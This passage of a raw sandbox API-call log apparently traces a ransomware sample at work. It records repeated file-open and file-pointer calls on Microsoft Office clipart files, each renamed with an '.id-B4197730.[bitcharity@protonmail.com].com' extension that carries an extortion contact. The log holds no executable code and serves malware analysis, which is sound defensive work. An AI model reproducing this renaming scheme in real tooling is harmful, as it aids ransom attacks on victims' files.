lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.904] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02158_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02158_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.904] CloseHandle (hObject=0x1178) returned 1 [0245.905] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.905] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.905] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02161_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02161_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.906] CloseHandle (hObject=0x1178) returned 1 [0245.907] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.907] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FLAP.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\flap.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.908] CloseHandle (hObject=0x1178) returned 1 [0245.908] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.909] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.909] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00057_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00057_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.909] CloseHandle (hObject=0x1178) returned 1 [0245.911] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.911] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00084_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00084_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.911] CloseHandle (hObject=0x1178) returned 1 [0245.913] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.913] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.913] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.913] CloseHandle (hObject=0x1178) returned 1 [0245.914] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.914] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.914] CloseHandle (hObject=0x1178) returned 1 [0245.915] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.916] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00236_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00236_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.916] CloseHandle (hObject=0x1178) returned 1 [0245.917] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.917] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.917] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00241_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00241_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0245.917] CloseHandle (hObject=0x1178) returned 1 [0245.925] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0245.926] SetFilePointerEx (in: hFile=0x1178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0246.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00260_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00260_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0246.825] CloseHandle (hObject=0x1178) returned 1 [0247.276] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.276] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.277] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101866.BMP.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101866.bmp.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.277] CloseHandle (hObject=0x11d4) returned 1 [0247.278] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.278] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.278] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107024.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107024.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.279] CloseHandle (hObject=0x11d4) returned 1 [0247.279] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.280] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.280] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107026.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107026.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.280] CloseHandle (hObject=0x11d4) returned 1 [0247.281] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.281] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.281] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107042.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107042.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.281] CloseHandle (hObject=0x11d4) returned 1 [0247.282] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.282] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.282] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107090.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107090.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.282] CloseHandle (hObject=0x11d4) returned 1 [0247.283] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.283] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107130.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107130.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.284] CloseHandle (hObject=0x11d4) returned 1 [0247.285] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.285] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107132.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107132.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.286] CloseHandle (hObject=0x11d4) returned 1 [0247.287] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.287] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107134.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107134.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.287] CloseHandle (hObject=0x11d4) returned 1 [0247.288] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.288] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.288] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107138.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107138.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.289] CloseHandle (hObject=0x11d4) returned 1 [0247.290] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.290] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107146.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107146.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.290] CloseHandle (hObject=0x11d4) returned 1 [0247.291] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.291] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107148.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107148.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.291] CloseHandle (hObject=0x11d4) returned 1 [0247.292] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.292] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107150.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107150.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.293] CloseHandle (hObject=0x11d4) returned 1 [0247.293] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.293] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107152.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107152.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.294] CloseHandle (hObject=0x11d4) returned 1 [0247.294] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.294] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107154.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107154.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.295] CloseHandle (hObject=0x11d4) returned 1 [0247.295] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.295] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107158.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107158.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.296] CloseHandle (hObject=0x11d4) returned 1 [0247.296] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.296] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107182.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107182.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.297] CloseHandle (hObject=0x11d4) returned 1 [0247.298] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.298] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107188.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107188.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.298] CloseHandle (hObject=0x11d4) returned 1 [0247.299] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.299] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.299] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107192.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107192.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.300] CloseHandle (hObject=0x11d4) returned 1 [0247.301] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.301] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107254.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107254.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.302] CloseHandle (hObject=0x11d4) returned 1 [0247.302] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.302] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107258.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107258.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.303] CloseHandle (hObject=0x11d4) returned 1 [0247.304] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.304] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107262.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107262.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.304] CloseHandle (hObject=0x11d4) returned 1 [0247.305] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.305] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107264.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107264.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0247.305] CloseHandle (hObject=0x11d4) returned 1 [0247.306] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.306] SetFilePointerEx (in: hFile=0x11d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0247.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 